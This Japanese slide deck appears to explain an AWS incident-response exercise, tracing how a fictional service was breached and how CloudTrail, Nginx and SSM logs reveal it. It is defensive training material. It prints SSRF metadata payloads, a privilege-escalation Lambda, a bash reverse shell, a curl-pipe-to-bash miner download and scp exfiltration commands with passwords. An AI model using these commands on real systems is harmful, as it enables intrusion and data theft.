とある診断員とSecurity-JAWS#02_解説編資料

とある診断員とSecurity-JAWS#02
解説編資料
2020/12/12

View Slide

6.振り返り
● 今回のインシデントの全貌
● 攻撃内容の解説とその痕跡について
● 原因と対策

View Slide

調査依頼の内容
● Secutterサービスは何か影響を受けているのか？
● 不正なEC2が動作していた原因について調査をしてください。
● サービス再開のための対策案について提案してください。

View Slide

答え合わせ
● Secutterサービスは何か影響を受けているのか？
YES。攻撃による影響を受けています。
今回のインシデントでは攻撃者によってAWS環境を侵害され、AWS環境の管理者権限を奪
取されてしまっています。
また、Secutterサイトが動作するEC2サーバー内に侵入され、機密情報を窃取されています。
具体的に漏えいしたデータの詳細については後述します。
そのため当然、サービスをすぐに再開することはできません。
また、現状のままでは、再び攻撃を受ける可能性があるためいくつか早急に対応しなければ
ならない問題が存在します。

View Slide

● 不正なEC2が動作していた原因について調査をしてください。
SecutterサイトのWebアプリケーションに存在したSSRFの脆弱性を攻撃されたことを皮切
りに、AWS環境の認証情報を取得され、その後様々な攻撃によって、攻撃者にAWS環境の
管理者権限を奪取されました。
攻撃者は、管理者権限を利用して、10/3 15:27(JST)にus-west-2(オレゴン)リージョン
にEC2を作成し、仮想通貨のマイニングを実行しています。攻撃の詳細については後述しま
す。
● サービス再開のための対策案について提案してください。
こちらの詳細については「原因と対策」のパ－トにて解説します。
答え合わせ

View Slide

攻撃者の動き～管理者権限奪取まで～

View Slide

攻撃者の動き～管理者権限奪取後～

View Slide

Detectiveの機能から分かること
推奨アプローチで紹介したようにDetectiveの機能と関連リソースの状態
を確認するだけでも、以下の情報を把握することができます。
● 攻撃者は35.233.183.126のIPアドレスからアクセスしている
● 不正なEC2以外にも、攻撃者によってIAMユーザーやLambda関数なども作成されて
いる
● 攻撃には2つの認証情報（read-s3-ec2-role・lambda-creator-user）が悪用され
ている
● 攻撃者に管理者権限を奪取されている（lambda-creator-userを見に行けばわかる）
● １つの認証情報はS3から漏れたのではないかと推測できる（関連リソースとしてでて
いたserverless-codes-xxxxxxxxxxxxにアクセスすればピンとくる）

View Slide

攻撃の詳細解説
攻撃者が行った攻撃を4つのフェーズに分け、攻撃の詳細
と確認できる攻撃の痕跡について解説します。
● フェーズ1：EC2に存在した脆弱性への攻撃
● フェーズ2 ：AWS環境の管理者権限への権限昇格
● フェーズ3 ：EC2内への侵入・機密情報の窃取
● フェーズ4 ：仮想通貨のマイニング

View Slide

フェーズ1：EC2に存在した脆弱性への攻撃
Secutterサイトに存在したSSRFの脆弱性を攻撃され、
AWS環境の認証情報を取得されてしまったことにより
侵害が始まる。

View Slide

SSRFとは？
【参考】SSRF(Server Side Request Forgery)徹底入門
https://blog.tokumaru.org/2018/12/introduction-to-ssrf-server-side-request-forgery.html
指定した任意のリソースに対してHTTPリクエストを行うように、サーバーサイドアプリケーションを誘導させ
る攻撃手法です。脆弱性の存在するサーバーを踏み台として他サーバーにアクセスさせることによって、本来
は直接到達することができないサーバーに対してアクセスすることが可能です。
192.168.0.x
内部NWのサーバー
SSRF (Server Side Request Forgery)
公開サーバー
通常は内部NWに直接はアクセスできない
攻撃者
正常遷移のリクエスト
②本来はアクセスできない内部NWサーバ
（192.168.0.x）に対して公開サーバーを経由してリクエ
ストが送信される
xxx/?URL=http://192.168.0.x
xxx/?URL=http://www.example.com
http://192.168.0.x
①パラメータの値を任意のURL値に変更して送信

View Slide

クラウド環境での悪用
● AWSなどのパブリッククラウドサービスではメタデータサービスと
呼ばれる機能が存在する。
● この機能は、メタデータと呼ばれるインスタンス固有のデータ(イン
スタンスID、OSデータ、一時的に付与される認証情報など)を内部
WebAPIを通じて取得するといった仕組みとなっている。
● クラウド環境のサーバーにSSRFの脆弱性が存在する場合には、この
機能を悪用されこのメタデータを不正に取得されてしまう可能性があ
る。
【参考】インスタンスメタデータとユーザーデータ
https://docs.aws.amazon.com/ja_jp/AWSEC2/latest/UserGuide/ec2-instance-metadata.html

View Slide

AWSのAPIを利用して認証情報を取得
IAMロールがアタッチされたEC2インスタンスにおいて、脆弱性
を悪用された場合には、EC２のIAMロールに紐づいた認証情報を
窃取されてしまう。
AWS側のメタデータAPI
SSRFの脆弱性が
存在するEC２
攻撃者
②EC2からAWSのメタデータAPIに対して一時的な認証情
報の取得を勝手に要求される
xx/?URL=http://169.254.169.254/latest/meta-data/…
認証情報を含んだ結果が返る
http://169.254.169.254/latest/meta-data/…
認証情報を窃取
正常遷移のリクエスト
xxx/?URL=http://www.example.com
①パラメータの値をメタデータサーバーのURL値に変更して送信
③攻撃者は脆弱性が存在するEC2からのレスポンスから、
EC2に一時的に付与された認証情報を取得することができる

View Slide

脆弱性が存在した箇所
● プロフィール画像の変更処理（profile.php）にSSRFの脆弱性が存在
● このプラグラムでは、profile_imageパラメータの値に任意のURLを受け渡すことで、URL
にアクセスさせ、その応答結果をimagesディレクトリに保存させることが可能
$file_name = $result[0]["profile_image"];
if(!empty($_POST['profile_image']))
{
$image_url = $_POST['profile_image'];
$file_name = basename(parse_url($image_url)['path']);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $image_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$image = curl_exec($ch);
$primary_ip = curl_getinfo($ch, CURLINFO_PRIMARY_IP);
curl_close ($ch);
if(!empty($image)){
file_put_contents('images/' . $file_name, $image);
}
}
パラメータ値で受け渡されたURL値をそのままcurl関数に
受け渡して実行しています。
curl関数の実行結果をfile_put_contents関数でimages
ディレクトリ内にファイルとして書き込んでいます。

View Slide

攻撃者が行った攻撃
1. profile_imageパラメータに以下のURL値を挿入してprofile.phpにアクセ
スし、ロール名(read-s3-ec2-role)を取得
http://169.254.169.254/latest/meta-data/iam/security-credentials
2. 取得したロール名を利用して以下URLを生成し、再びprofile_imageパラメ
ータに以下のURL値を挿入してprofile.phpにアクセスし、一時的に発行され
たread-s3-ec2-roleの権限に紐づいた認証情報を取得
http://169.254.169.254/latest/meta-data/iam/security-credentials/read-s3-ec2-role

View Slide

攻撃の痕跡
Nginxのログに攻撃の痕跡が残っています。攻撃者が利用している35.233.183.126のIPアドレ
スからのアクセスを確認すれば、SSRF攻撃をされている痕跡を確認することができます。
SecutterにてCarolというユーザーを作成したのちに、profile.phpにSSRF攻撃を行っているこ
とが分かります。

View Slide

攻撃の痕跡
SSRF攻撃によって作成されたアップロードファイルが、EC2サーバー内（/var/www/html/images
配下）に残存しています。read-s3-ec2-roleファイルには攻撃によって取得された認証情報が記載され
ています。タイムスタンプより攻撃が行われたと思われる時間も分かります。

View Slide

実はこれ以外にも攻撃があった？（番外）
sqlmapによるSQLインジェクション
Niktoによる脆弱性スキャン

View Slide

このアプリは他にも沢山脆弱性があります（番外）
SSRF以外の脆弱性
● つぶやき投稿でのXSS
● プロフィール更新でのCSRF
● 画像アップロードでのRCE
● 他にも..

View Slide

フェーズ2 ：AWS環境の管理者権限への権限昇格
フェーズ１で取得したAWSの認証情報を利用して、情報
収集やさらなる攻撃を行い、最終的にはAWS環境の管理
者権限へと権限昇格される。

View Slide

更に別な認証情報を取得
攻撃者はSSRF攻撃によって取得した認証情報Aを利用し
て攻撃を行い、更に別な認証情報Bを取得
認証情報内容
アタッチされている
IAMポリシー
認証情報A
SSRF攻撃によって取得した認証情報EC2
にアタッチされていたread-s3-ec2-role
の権限を持っている
AmazonEC2RoleforSSM
AmazonS3ReadOnlyAccess
ReadSecretsManagerEC2Pollicy
（インラインポリシー）
認証情報B
IAMユーザー「lambda-creator-
user」のアクセスキー。S3バケットに配
置されていたlambda_creator.pyにハ
ードコードされている。
lambda-creator-policy
（カスタマー管理ポリシー）
IAMReadOnlyAccess

View Slide

攻撃者の動き
S3バケットから認証情報Bを取得
認証情報Aを利用した情報収集
認証情報Bを利用した情報収集
管理者権限への権限昇格
攻撃者はSSRF攻撃によって取得した認証情報Aを利用して、IAM・各種マネージドサービス
（EC2、S3、Lambda、RDS、ALB）の情報収集を行っています。ほとんどの情報収集が権
限がないためエラーとなって失敗していますが、AmazonS3ReadOnlyAccessが割り振ら
れていることからS3への情報収集が成功しています。このため、攻撃者は認証情報AにはS3
に対するアクセス権限があることを把握します。
攻撃者はS3バケットの一覧情報を取得し、serverless-codes-xxxxxxxxxxxxというS3バ
ケットに配置されていたLambda関数用のpythonコードをダウンロードしています。ダウン
ロードされた中のlambda_creator.pyにはlambda-creator-userのアクセスキーがハード
コードされており、攻撃者は新たな認証情報Bを取得しています。
攻撃者は新たに取得した認証情報Bを利用して、再びIAM・各種マネージドサービスの情報収
集を行っています。認証情報BにはIAMReadOnlyAccessがアタッチされていることから、
攻撃者にIAMユーザー、グループ、ロールの一覧やそれぞれにアタッチされているIAMポリシ
ーの詳細情報などを取得されています。これらの情報によって、攻撃者は権限昇格に必要な条
件がそろっていることを把握します。
その後、攻撃者はその条件を利用して、管理者権限への権限昇格を実行します。

View Slide

攻撃の痕跡
35.233.183.126のIPアドレスより、攻撃者によって取得されたread-s3-ec2-roleの認証情報が
利用された形跡はCloudTrailのログから確認できます。CloudTrailのログも攻撃者のIPアドレス
で絞り込みをかけて、時系列で見ていくと解析がしやすいと思います。
eventTime 2020-10-03T06:06:34Z
eventName GetCallerIdentity
eventSource sts.amazonaws.com
requestParameters null
responseElements
{"userId":"AROA25LD35DA4ENRZA67N:i-0e6921bc7de8aa9e9","account":"xxxxxxxxxxxx","arn":"arn:aw
s:sts::xxxxxxxxxxxx:assumed-role/read-s3-ec2-role/i-0e6921bc7de8aa9e9"}

View Slide

S3バケット「serverless-codes-xxxxxxxxxxxx」にあるlambda_creator.pyが攻撃者に
より取得されたことも確認できます。実際にS3上に存在するlambda_creator.pyを確認する
と、アクセスキーがハードコードされていることも確認できます。
eventTime 2020-10-03T06:11:47Z
eventName GetObject
eventSource s3.amazonaws.com
requestParameters
{"bucketName":"serverless-codes-xxxxxxxxxxxx","Host":"serverless-codes-xxxxxxxxxxxx.s3.ap-
northeast-1.amazonaws.com","key":"lambda_creator.py"}
responseElements null
攻撃の痕跡

View Slide

攻撃の痕跡
eventTime 2020-10-03T06:11:48Z
eventName GetCallerIdentity
eventSource sts.amazonaws.com
requestParameters null
responseElements
{"userId":"AIDA25LD35DA6H25OUEXZ","account":"xxxxxxxxxxxx","arn":"arn:aws:iam::xxxxxxxxxxxx:u
ser/lambda-creator-user"}
その後、攻撃者は取得したアクセスキーを用いてアクセスしています。

View Slide

権限昇格に利用した条件とは？
認証情報Bに紐づくIAMユーザー「lambda-creator-user」にはlambda-creator-policy（カ
スタマー管理ポリシー）がアタッチされています。
このlambda-creator-policyは以下のポリシーで構成されています。
● iam:PassRole（存在するロールをリソースに割り当てることができる）
● lambda:CreateFunction （新たなLambda関数を作成することができる）
● lambda:InvokeFunction （Lambda関数を実行することができる）
また、このAWS環境にはiam-generator-lambda-roleというLambda関数用のロールが存在
します。
このiam-generator-lambda-roleには以下のポリシーがアタッチされています。
● IAMFullAccess(IAMに関連する機能を全て実行することができる)

View Slide

権限昇格のメカニズム
これらの条件を利用して、以下のようなlambda関数を利用した操作を行えば権限昇格が可能です。
攻撃者はこのような操作を試行し、lambda-creator-userにAdministratorAccessのポリシー
をアタッチし、管理者権限を奪取しました。
指定したユーザーに管理者権限をアタッチするようなlambda関数を作成
(lambda:CreateFunctionの権限を利用)
処理を実行可能なロール(iam-generator-lambda-role)をlambda関数に割
り振る(iam:PassRoleの権限を利用)
作成したlambda関数を実行する（lambda:InvokeFunctionの権限を利用）

View Slide

eventTime 2020-10-03T06:17:00Z
eventName CreateFunction20150331
eventSource lambda.amazonaws.com
requestParameters
{"functionName":"szkpwned_211205b8c508753167ea","runtime":"python3.7","role":"arn:aws:iam::xx
xxxxxxxxxx:role/iam-generator-lambda-role","handler":"function.lambda_handler","code":{},"pub
lish":false,"environment":{}}
responseElements
{"functionName":"szkpwned_211205b8c508753167ea","functionArn":"arn:aws:lambda:ap-northeast-1:
xxxxxxxxxxxx:function:szkpwned_211205b8c508753167ea","runtime":"python3.7","role":"arn:aws:ia
m::xxxxxxxxxxxx:role/iam-generator-lambda-role","handler":"function.lambda_handler","codeSize
":286,"description":"","timeout":3,"memorySize":128,"lastModified":"2020-10-03T06:17:00.318+0
000","codeSha256":"zdGGNeorAIs6Yq6rgisFBOc9xtU802GYySqlURLiqGE=","version":"$LATEST","environ
ment":{},"tracingConfig":{"mode":"PassThrough"},"revisionId":"4afae776-098c-4f7d-8258-5bcc2de
b870e","state":"Active","lastUpdateStatus":"Successful","packageType":"Zip"}
攻撃の痕跡
35.233.183.126のIPアドレスより、szkpwned_211205b8c508753167eaというLambda
関数を作成し、iam-generator-lambda-roleのロールをアタッチしていることなどが
CloudTrailのログから確認できます。

View Slide

攻撃の痕跡
その後、作成したLambda関数を実行し、権限昇格を実行しています。
eventTime 2020-10-03T06:17:00Z
eventName Invoke
eventSource lambda.amazonaws.com
requestParameters
{"functionName":"arn:aws:lambda:ap-northeast-1:xxxxxxxxxxxx:function:szkpwned_211205b8c508753
167ea","invocationType":"Event"}
responseElements null

View Slide

攻撃の痕跡
作成されたLambda関数のソースコード
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='lambda-creator-user',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

View Slide

攻撃の痕跡
IAMユーザー「lambda-creator-user」にAdministratorAccessがアタッチされています。

View Slide

フェーズ3 ：EC2内への侵入・機密情報の窃取
管理者権限を奪取した攻撃者に、その権限を利用してEC2
内に侵入される。攻撃者は、サーバー内で情報収集を行い、
最終的にはRDSから機密情報を窃取している。

View Slide

管理者権限を奪取した攻撃者のその後の行動は？
管理者権限を利用した情報収集
バックドアユーザーの作成
EC2内への侵入
攻撃者は認証情報Bにて、再びIAM・各種マネージドサービス（EC2、S3、Lambda、RDS、
ALB）の情報収集を行っています。以前は権限がなかったため失敗していますが、管理者権
限が付与されたため、今度はすべてのマネージドサービスに関連する情報を取得されていま
す。
攻撃者はbackdoorffd0fb5dac5447659914というバックドア用のIAMユーザーを作成し
ています。このIAMユーザーにはAdministratorAccessの管理ポリシーがアタッチされて
おり、アクセスキーも発行されています。
管理者権限への権限昇格
その後、攻撃者は、EC2にアタッチされているread-s3-ec2-roleの権限と、あるAWSサー
ビスを悪用してEC2内に侵入しています。

View Slide

攻撃の痕跡
35.233.183.126のIPアドレスより、IAMユーザー「backdoorffd0fb5dac5447659914」を
作成していることがCloudTrailのログから確認できます。
eventTime 2020-10-03T06:22:18Z
eventName CreateUser
eventSource iam.amazonaws.com
requestParameters {"userName":"backdoorffd0fb5dac5447659914"}
responseElements
{"user":{"path":"/","userName":"backdoorffd0fb5dac5447659914","userId":"AIDA25LD35DAV6LA7DV65
","arn":"arn:aws:iam::xxxxxxxxxxxx:user/backdoorffd0fb5dac5447659914","createDate":"Oct 3,
2020 6:22:18 AM"}}

View Slide

攻撃者がEC2の侵入に利用したマネージドサービス
● AWS Systems Manager
https://aws.amazon.com/jp/systems-manager/
○ AWSおよびオンプレミスのサーバ群を管理するための多機能な
マネージドサービス
○ EC2インスタンス・オンプレミスのサーバにインストールされた
SSM Agentを介して、AWS Systems Managerに情報集約し、
管理することが可能です。
【参考】AWS再入門ブログリレー AWS Systems Manager編
https://dev.classmethod.jp/articles/relay-re-introduction-2019-ssm/

View Slide

Run Commandを悪用
● Secutterが動作するEC2では、SSM Agentが動作しており、EC2インスタンスにもAWS
Systems Managerを利用するためのロール（※）がアタッチされているため、このサービ
スを利用することができます。
※read-s3-ec2-roleには管理ポリシーAmazonEC2RoleforSSMがアタッチされています。
● 今回の攻撃では、AWS Systems Managerの機能であるRun Commandを悪用していま
す。
● Run Commandの機能は、管理対象のサーバーに対して、アップデートなどの管理タスク
を行うために、リモートからコマンド実行を行うための機能です。
● SSM Agentは、rootアクセス権限 (Linux) または SYSTEM アクセス権限 (Windows
Server) を使用して EC2 インスタンスで実行されます。
● つまり、この機能を悪用することで、リモートからEC2インスタンスにroot権限にて任意の
コードを実行させることが可能です。

View Slide

Reverse Shell接続を用いて侵入
攻撃者はRun Commandの機能を悪用して以下のコマンドを実行しています。
このコマンドはbashの機能を利用して攻撃者のサーバー（35.233.183.126）
の4444ポートにReverse Shell接続を行うためのものです。
攻撃者は攻撃者のサーバーにて接続を待ち受けており、この接続を経由してEC2
内へ侵入しました。
/bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1

View Slide

35.233.183.126のIPアドレスより、Runcommandが実行されていることが、CloudTrailのロ
グから確認できます。対象のインスタンスIDよりSecutterが動作するEC2でコマンドが実行され
ていることが確認できます。
eventTime 2020-10-03T06:22:24Z
eventName SendCommand
eventSource ssm.amazonaws.com
requestParameters
{"instanceIds":["i-0e6921bc7de8aa9e9"],"documentName":"AWS-RunShellScript","parameters":{"com
mands":["/bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1"]},"interactive":false}
responseElements
{"command":{"commandId":"9abe6ca5-4780-44e7-a537-2b299d0b2e28","documentName":"AWS-RunShellSc
ript","documentVersion":"","comment":"","expiresAfter":"Oct 3, 2020 8:22:24 AM","parameters":
{"commands":["/bin/bash -i >& /dev/tcp/35.233.183.126/4444 0>&1"]},"instanceIds":["i-0e6921bc
7de8aa9e9"],"targets":[],"requestedDateTime":"Oct 3, 2020 6:22:24 AM","status":"Pending","sta
tusDetails":"Pending","outputS3BucketName":"","outputS3KeyPrefix":"","maxConcurrency":"50","m
axErrors":"0","targetCount":1,"completedCount":0,"errorCount":0,"deliveryTimedOutCount":0,"se
rviceRole":"","notificationConfig":{"notificationArn":"","notificationEvents":[],"notificatio
nType":""},"cloudWatchOutputConfig":{"cloudWatchLogGroupName":"","cloudWatchOutputEnabled":fa
lse},"interactive":false,"timeoutSeconds":3600}}
攻撃の痕跡

View Slide

攻撃の痕跡
EC2内のSSM エージェントのログ（/var/log/amazon/ssm/amazon-ssm-agent.log）にも
コマンドが実行された形跡が残っています。
2020-10-03 15:22:25 INFO [ssm-document-worker] [9abe6ca5-4780-44e7-a537-2b299d0b2e28] [DataBackend] [pluginName=aws:run
ShellScript] aws:runShellScript started with configuration { map[id:0.aws:runShellScript runCommand:[/bin/bash -i
>& /dev/tcp/35.233.183.126/4444 0>&1] timeoutSeconds:3600 workingDirectory:] 9abe6ca5-4780-44e7-a537-2b299d0b2e28/i-0e6
921bc7de8aa9e9/awsrunShellScript false false /var/lib/amazon/ssm/i-0e6921bc7de8aa9e9/document/orchestration/9abe6ca5-
4780-44e7-a537-2b299d0b2e28/awsrunShellScript aws.ssm.9abe6ca5-4780-44e7-a537-2b299d0b2e28.i-0e6921bc7de8aa9e9 9abe6ca5
-4780-44e7-a537-2b299d0b2e28 aws:runShellScript aws:runShellScript map[] false [] false }

View Slide

EC2内での攻撃者の行動～その１～
python -c 'import pty; pty.spawn("/bin/bash")'
id
uname -a
w
last
printenv
curl -sS -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x /tmp/LinEnum.sh
/tmp/LinEnum.sh
cat /etc/nginx/nginx.conf
ls -la /var/www/html/
攻撃者はまずは各種Linuxコマンドを使用して情報収集をしています。
その後、情報収集用のシェルスクリプトをダウンロードして実行しています。
なお、侵入後に実行されたコマンドはrootユーザー権限で実行されています。
Linuxシステムの内部情報を収集する
シェルスクリプトを実行

View Slide

EC2内での攻撃者の行動～その2～
cat /etc/nginx/nginx.conf
ls -la /var/www/html/
cat /var/www/html/database_connection.php
mysql -u secutter -p'veryverysecurepw' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com
ls -la /home/ec2-user/
ls -la /home/ec2-user/.ssh
cat /home/ec2-user/setup.sh
aws secretsmanager get-secret-value --secret-id secutter-prd-db-secret --region ap-northeast-1
mysql -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com
攻撃者はDBの接続情報が記載されたphpファイルを参照し、記載してある認証情
報を利用して、secutterユーザーでRDSにアクセスしています。
また、その後いくつかのコマンド実行後に、今度はmasterユーザー（RDSの管
理者ユーザー）でRDSにアクセスしています。
masterユーザーでRDSに接続
secutterユーザーでRDSに接続

View Slide

なぜRDSの管理者の認証情報が取得されたのか？
● AWS Secrets Manager
https://aws.amazon.com/jp/secrets-manager/
○ データベースの認証情報や、パスワードなどの任意の機密情報をAPIコ
ールで取得できるためのAWSサービス
○ APIを呼び出すことで機密情報を取得できるためアプリケーションなど
にハードコードする必要がない
○ パスワードなどを一定間隔でローテーションさせることも容易となる
【参考】機密情報を一元管理できる「AWS Secrets Manager」とは？概要と主要機能、動作原理、各種リソースまとめ
https://dev.classmethod.jp/articles/about-secrets-manager/

View Slide

#!/bin/sh
ssm_github="Github"
ssm_mysql="secutter-prd-db-secret"
s3_fluentd="secutter-logs-xxxxxxxxxxxx"
～中略～
# Deploying the Secutter app
secret=$(aws secretsmanager get-secret-value --secret-id $ssm_github --region ap-northeast-1 | jq .SecretString | jq fromjson)
token=$(echo $secret | jq -r .token)
～中略～
# Importing tables to MySQL
secret=$(aws secretsmanager get-secret-value --secret-id $ssm_mysql --region ap-northeast-1 | jq .SecretString | jq fromjson)
user=$(echo $secret | jq -r .username)
password=$(echo $secret | jq -r .password)
セットアップ用スクリプトにてこのサービスを利用
/home/ec2-user/setup.shの一部
このAWSサービスはsetup.shにて管理者用DBユーザーの認証情報などを取得す
るために利用されていました。

View Slide

{
"Name": "secutter-prd-db-secret",
"VersionId": "5dc24f40-c14d-4f09-ae08-c8b231feada0",
"SecretString": "{¥"password¥":¥"7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7¥",¥"username¥":¥"master¥",¥"host¥":¥"secutter-prd-db.chch2ezj5tkn.ap-northeast-
1.rds.amazonaws.com¥",¥"port¥":¥"3306¥"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1601703427.558,
"ARN": "arn:aws:secretsmanager:ap-northeast-1:xxxxxxxxxxxx:secret:secutter-prd-db-secret-aVjx4M"
}
cat /home/ec2-user/setup.sh
aws secretsmanager get-secret-value --secret-id secutter-prd-db-secret --region ap-northeast-1
mysql -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com
攻撃者はこのサービスを利用して認証情報を入手
攻撃者はsetup.shの内容より、このサービスを利用していることを把握し、
AWS CLIを実行してRDSの管理者権限の認証情報を取得しました。
AWS CLIの実行結果

View Slide

EC2内での攻撃者の行動～その3～
mysqldump -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com testing > /tmp/testing.dump
mysqldump -u master -p'7)!]CNtss),]t>2V!bM-UF|gsn}&wlu7' -h secutter-prd-db.chch2ezj5tkn.ap-northeast-1.rds.amazonaws.com credit > /tmp/credit.dump
tar zcf /tmp/app.tar.gz -C / var/www/html/
scp -oStrictHostKeyChecking=no -r /tmp/app.tar.gz [email protected]:/home/kzsregit/
scp -oStrictHostKeyChecking=no -r /tmp/testing.dump [email protected]:/home/kzsregit/
scp -oStrictHostKeyChecking=no -r /tmp/credit.dump [email protected]:/home/kzsregit/
rm -rf /tmp/*
echo 'Oh my god! This host is hacked!' > /home/ec2-user/read.me
攻撃者はその後、masterユーザーの権限を利用して、testing・creditのデータ
ベース情報をダンプしています。
また、secutterのソースコードをtarコマンドで圧縮し、それらの情報を攻撃者
のサーバー（35.233.183.126）へscpコマンドを用いて転送しています。
scpコマンドを利用して攻撃者サーバーへ
機密情報を送信

View Slide

攻撃の痕跡
rootユーザーの.bash_historyに攻撃者が実行したコマンドの形跡が残っています。

View Slide

フェーズ4 ：仮想通貨のマイニング
攻撃者によって、別リージョンであるus-west-2(オレゴ
ン)にて、不正なEC2インスタンスが作成され、仮想通貨
をマイニングされる。

View Slide

マイニングまでの流れ
EC2や関連リソースを作成
作成したEC2にロールをアタッチ
コマンド実行により
マイニングを実行
実際の攻撃では事前にマイニングツールがインストールされたカスタムAMIが展開されることが
多いですが、今回はあえてAmazonのオリジナルAMIのEC2を構築してから、コマンド実行を行
ってマイニングツールをダウンロードし、実行しています。
攻撃者によってus-west-2(オレゴン)リージョンにEC2及びもろもろの関連リソース（VPC,
サブネット、インターネットゲートウェイ、セキュリティグループ、キーペア）が作成され
ました。
コインマイナーの実行には、Reverse Shellと同様にAWS Systems ManagerのRun
Commandを利用しています。今回の攻撃では攻撃者サーバーより、XMRigや設定ファイル
などをダウンロードして実行することで、仮想通貨Moneroをマイニングしています。
Secutterが動作するEC2にアタッチされていたread-s3-ec2-roleを作成したEC2にアタッ
チしています。

View Slide

攻撃の痕跡
35.233.183.126のIPアドレスより、us-west-2(オレゴン)リージョンにEC2インスタンスを作
成していることがCloudTrailのログから確認できます。
eventTime 2020-10-03T06:27:30Z
eventName RunInstances
eventSource ec2.amazonaws.com
requestParameters
{"instancesSet":{"items":[{"imageId":"ami-0a07be880014c7b8e","minCount":1,"maxCount":1,"keyName":"evilec2"}]},"groupSet":{"items":
[{"groupId":"sg-0c876103f0ed74e5f"}]},"instanceType":"t2.micro","blockDeviceMapping":{},"monitoring":{"enabled":false},"subnetId":"s
ubnet-055b00734e2968c74","disableApiTermination":false,"clientToken":"1f778311-4250-4384-a37a-a925e41b98dd","tagSpecificationSet":{"
items":[{"resourceType":"instance","tags":[{"key":"Name","value":"evil_ec2"}]}]}}
responseElements
{"requestId":"a966f6e2-58a7-49ee-9a9a-1088e84d0f99","reservationId":"r-0b3f12216e028d1ad","ownerId":"xxxxxxxxxxxx","groupSet":{},"in
stancesSet":{"items":[{"instanceId":"i-03bc24bc72dd2ab01","imageId":"ami-0a07be880014c7b8e","instanceState":{"code":0,"name":"pendin
g"},"privateDnsName":"ip-10-0-0-137.us-west-2.compute.internal","keyName":"evilec2","amiLaunchIndex":0,"productCodes":{},"instanceTy
pe":"t2.micro","launchTime":1601706450000,"placement":{"availabilityZone":"us-west-2a","tenancy":"default"},"monitoring":{"state":"d
isabled"},"subnetId":"subnet-055b00734e2968c74","vpcId":"vpc-0220d4f622a8fcbda","privateIpAddress":"10.0.0.137","stateReason":{"code
":"pending","message":"pending"},"architecture":"x86_64","rootDeviceType":"ebs","rootDeviceName":"/dev/xvda","blockDeviceMapp
ing":{},
"virtualizationType":"hvm","hypervisor":"xen","tagSet":{"items":[{"key":"Name","value":"evil_ec2"}]},"clientToken":"1f778311
-4250-43
84-a37a-a925e41b98dd","groupSet":{"items":[{"groupId":"sg-0c876103f0ed74e5f","groupName":"evil-ec2"}]},"sourceDestCheck":true,"netwo
rkInterfaceSet":{"items":[{"networkInterfaceId":"eni-09f3c4d0a00149483","subnetId":"subnet-055b00734e2968c74","vpcId":"vpc-0220d4f62
2a8fcbda","ownerId":"xxxxxxxxxxxx","status":"in-use","macAddress":"02:cf:c1:c1:68:bb","privateIpAddress":"10.0.0.137","sourceDestChe
ck":true,"interfaceType":"interface","groupSet":{"items":[{"groupId":"sg
-0c876103f0ed74e5f","groupName":"evil-ec2"}]},"attachment":
{"attachmentId":"eni-attach-0c6c270fee275f8b1","deviceIndex":0,"status":"attaching","attachTime":1601706450000,"deleteOnTermination
":true},"privateIpAddressesSet":{"item":[{"privateIpAddress":"10.0.0.137","primary":true}]},"ipv6AddressesSet":{},"tagSet":{}
}]},"eb
sOptimized":false,"cpuOptions":{"coreCount":1,"threadsPerCore":1},"capacityReservationSpecification":{"capacityReservationPre
ference
":"open"},"enclaveOptions":{"enabled":false},"metadataOptions":{"state":"pending","httpTokens":"optional","httpPutResponseHop
Limit":
1,"httpEndpoint":"enabled"}}]}}

View Slide

作成したEC2に対してコマンド実行していることも確認できます。curlコマンドにて攻撃者サーバ
ーよりjpgファイルをダウンロードし、その結果をコマンドとして実行しています。
eventTime 2020-10-03T06:34:07Z
eventName SendCommand
eventSource ssm.amazonaws.com
requestParameters
{"instanceIds":["i-03bc24bc72dd2ab01"],"documentName":"AWS-RunShellScript","parameters":{"com
mands":["curl -s http://35.233.183.126:5555/szk.jpg | bash -s"]},"interactive":false}
responseElements
{"command":{"commandId":"758ea208-f31d-451f-b96d-186722710408","documentName":"AWS-RunShellSc
ript","documentVersion":"","comment":"","expiresAfter":"Oct 3, 2020 8:34:07 AM","parameters":
{"commands":["curl -s http://35.233.183.126:5555/szk.jpg | bash -s"]},"instanceIds":["i-03bc2
4bc72dd2ab01"],"targets":[],"requestedDateTime":"Oct 3, 2020 6:34:07 AM","status":"Pending","
statusDetails":"Pending","outputS3BucketName":"","outputS3KeyPrefix":"","maxConcurrency":"50",
"maxErrors":"0","targetCount":1,"completedCount":0,"errorCount":0,"deliveryTimedOutCount":0,"
serviceRole":"","notificationConfig":{"notificationArn":"","notificationEvents":[],"notificat
ionType":""},"cloudWatchOutputConfig":{"cloudWatchLogGroupName":"","cloudWatchOutputEnabled":
false},"interactive":false,"timeoutSeconds":3600}}
攻撃の痕跡

View Slide

このAWS環境は一体何がダメだったのか？
侵害されてしまった直接的な要因としては以下が挙げられ
ます。
● SecutterのWebアプリケーションに脆弱性（SSRF）が存在
● EC2に必要以上のS3バケットへのアクセス権限が存在
● S3上にアクセスキーがハードコードされていたスクリプト
(lambda_creator.py)が存在
● IAMが操作できる高権限のLambda関数のロールが放置されていた
● super-developerの作業内容が管理されていなかった…

View Slide

被害を拡大しないために最優先で行うべきこと
攻撃者によって再び悪用される可能性があるアクセスキー
やアカウントの無効化を対応
● read-s3-ec2-roleにおけるアクティブなセッションの無効化
